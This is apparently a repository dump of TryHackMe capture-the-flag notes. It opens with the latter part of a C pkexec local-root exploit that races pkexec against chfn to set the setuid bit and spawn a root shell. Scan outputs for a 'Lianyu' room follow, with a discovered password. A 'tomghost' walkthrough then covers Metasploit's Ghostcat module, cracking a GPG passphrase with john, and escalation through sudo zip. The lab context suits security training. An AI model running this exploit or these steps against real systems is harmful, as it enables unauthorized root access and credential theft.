	char * chfn_path = "/usr/bin/chfn";
	char cmd_buff[4096];
	
	char * pkexec_argv[] = { 
		"/usr/bin/pkexec",
		"/bin/sh",
		"-c",
		cmd_buff,
		NULL
	};
	int pipe1[2];
	int pipe2[2];
	int pipe3[2];	
	pid_t pid,pid2 ;
	char * chfn_argv[] = { 
		"/usr/bin/chfn",
		NULL
	};

	char buff[8];
	char read_buff[4096];
	char real_path[512];	
	struct termios termios_p;
	
	int count = 0;
	int flag = 0;
	int usleep1 = 0;
	int usleep2 = 0;

	
	bzero(cmd_buff,4096);
	bzero(real_path,512);
	realpath(argv[0],real_path);
	
	tim_seed1 = time(NULL);
	pid_seed2 = getpid();
	srand(tim_seed1+pid_seed2);
	

	
	
	//get terminal attr
	tcgetattr(0,&termios_p);
	snprintf(cmd_buff,4095,"/bin/chown root:root %s; /bin/chmod 4755 %s",real_path,real_path);
//	printf("Cmd line:%s",cmd_buff);
	if(! geteuid()){
	//Succs => r00t!
		char * exec_argv[2]={
			"/bin/sh",
			NULL
		};
		setuid(0);
		setgid(0);
		execve("/bin/sh",exec_argv,0);
		perror("execve shell");
		exit(-1);
	}

	printf("pkexec local root exploit by xi4oyu , thx to dm\n");
	
	if(pipe(pipe1)){
		perror("pipe");
		exit(-2);
	}
	
	for(count = 500; count && !flag; count--){
	
	//	printf("Count %d\n",count);
		pid = fork();
		if( !pid ){
			// Parent
			if( !pipe(pipe2)){
			
				if(!pipe(pipe3)){
					pid2 = fork();
					if(!pid2){
						// Parent 2
						close(1);
						close(2);
						close(pipe1[0]);
						dup2(pipe1[1],2);
						dup2(pipe1[1],1);
						close(pipe1[1]);
						close(pipe2[0]);
						close(pipe3[1]);
						write(pipe2[1],"\xFF",1);
						read(pipe3[0],&buff,1);
										
						execve(pkexec_argv[0],pkexec_argv,envp);
						perror("execve pkexec");
						exit(-3);
					
					}
					close(0);
					close(1);
					close(2);
					close(pipe2[1]);
					close(pipe3[0]);
					read(pipe2[0],&buff,1);
					write(pipe3[1],"\xFF",1);
					usleep(usleep1+usleep2);

					execve(chfn_argv[0],chfn_argv,envp);
					perror("execve setuid");
					exit(1);
				}
				

			}
			perror("pipe3");
			exit(1);				
		}
		
		//Note: This is child, no pipe3 we use poll to monitor pipe1[0]
		memset(pipe3,0,8);
		
		struct pollfd * pollfd = (struct pollfd *)(&pipe3);
		pollfd->fd = pipe1[0];
		pollfd->events =  POLLRDNORM; 
		
		if(poll(pollfd,1,1000) < 0){
		
			perror("poll");
			exit(1);
		}
		
		if(pollfd->revents & POLLRDNORM ){
			memset(read_buff,0,4096);
			read(pipe1[0],read_buff,4095);
			if( strstr(read_buff,"does not match")){
				usleep1 += 500;
				usleep2 = rand() % 1000;
			
			}else{
				usleep1 -= 500;
				
			
			}
		
		
		}
		
		if(!stat(real_path,&stat_buff)){
			if(!stat_buff.st_uid){
				if(!stat_buff.st_gid){
					if(stat_buff.st_mode & 0x800){
						
						char *exec_array[]={
							real_path,
							NULL
						};
						
						flag = 1;
						tcsetattr(0,2,&termios_p);
						execve(real_path,exec_array,0);
						perror("execve self");
						exit(1);
					}
				}
			
			}
		}
		
		tcsetattr(0,2,&termios_p);
	
	}
		result = 0;
		return result;

}
            


================================================
FILE: lianyu/gobuster-output.txt
================================================
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.89.244
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/11/22 15:05:39 Starting gobuster
===============================================================
/island (Status: 301)


================================================
FILE: lianyu/gobuster-output2.txt
================================================
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.89.244/island
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/11/22 15:12:57 Starting gobuster
===============================================================
/2100 (Status: 301)


================================================
FILE: lianyu/gobuster-output3.txt
================================================
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.89.244/island/2100
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     ticket
[+] Timeout:        10s
===============================================================
2020/11/22 15:15:39 Starting gobuster
===============================================================
/green_arrow.ticket (Status: 200)


================================================
FILE: lianyu/nmap-output.txt
================================================
# Nmap 7.91 scan initiated Sun Nov 22 14:44:07 2020 as: nmap -sV -sC -o nmap-output.txt 10.10.89.244
Nmap scan report for 10.10.89.244
Host is up (0.055s latency).
Not shown: 996 closed ports
PORT    STATE SERVICE VERSION
21/tcp  open  ftp     vsftpd 3.0.2
22/tcp  open  ssh     OpenSSH 6.7p1 Debian 5+deb8u8 (protocol 2.0)
| ssh-hostkey: 
|   1024 56:50:bd:11:ef:d4:ac:56:32:c3:ee:73:3e:de:87:f4 (DSA)
|   2048 39:6f:3a:9c:b6:2d:ad:0c:d8:6d:be:77:13:07:25:d6 (RSA)
|   256 a6:69:96:d7:6d:61:27:96:7e:bb:9f:83:60:1b:52:12 (ECDSA)
|_  256 3f:43:76:75:a8:5a:a6:cd:33:b0:66:42:04:91:fe:a0 (ED25519)
80/tcp  open  http    Apache httpd
|_http-server-header: Apache
|_http-title: Purgatory
111/tcp open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          39275/udp6  status
|   100024  1          49955/udp   status
|   100024  1          53084/tcp6  status
|_  100024  1          59282/tcp   status
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Nov 22 14:44:18 2020 -- 1 IP address (1 host up) scanned in 10.38 seconds


================================================
FILE: lianyu/ss/passwd.txt
================================================
This is your visa to Land on Lian_Yu # Just for Fun ***


a small Note about it


Having spent years on the island, Oliver learned how to be resourceful and 
set booby traps all over the island in the common event he ran into dangerous
people. The island is also home to many animals, including pheasants,
wild pigs and wolves.







================================================
FILE: lianyu/ss/shado
================================================
M3tahuman


================================================
FILE: tomghost/README.md
================================================
# tomghost

- Compromise this machine and obtain user.txt

	- `sudo nmap -sV -sS <TARGET_IP>`
	- `searchsploit tomcat ghost`
	- `msfconsole`
	- `search tomcat ghost`
	- `use 0`
	- `set RHOST <TARGET_IP>`
	- `set RPORT 8009`
	- `run`
	- You have obtained user:pass.
	- `ssh <REPLACE_USER>@<TARGET_IP>` and enter the password.
	- `cd ..`
	- `ls`
	- `cd merlin`
	- `ls`
	- `cat user.txt`
	- `THM{********************}`

- Escalate privileges and obtain root.txt

	- `gpg --import tryhackme.asc`
	- `gpg --decrypt credential.pgp`
	- We need a passphrase...
	- `gpg2john tryhackme.asc > hash`
	- `john --wordlist=/usr/share/wordlists/rockyou.txt hash`
	- Passphrase: `*********`
	- Decrypt the credential file and enter in the system as merlin user.
	- `sudo -l`
	- Merlin can run `/usr/bin/zip` without password...
	- https://gtfobins.github.io/gtfobins/zip/#sudo
	- Execute those commands and then `cat /root/root.txt`
	- `THM{***********}`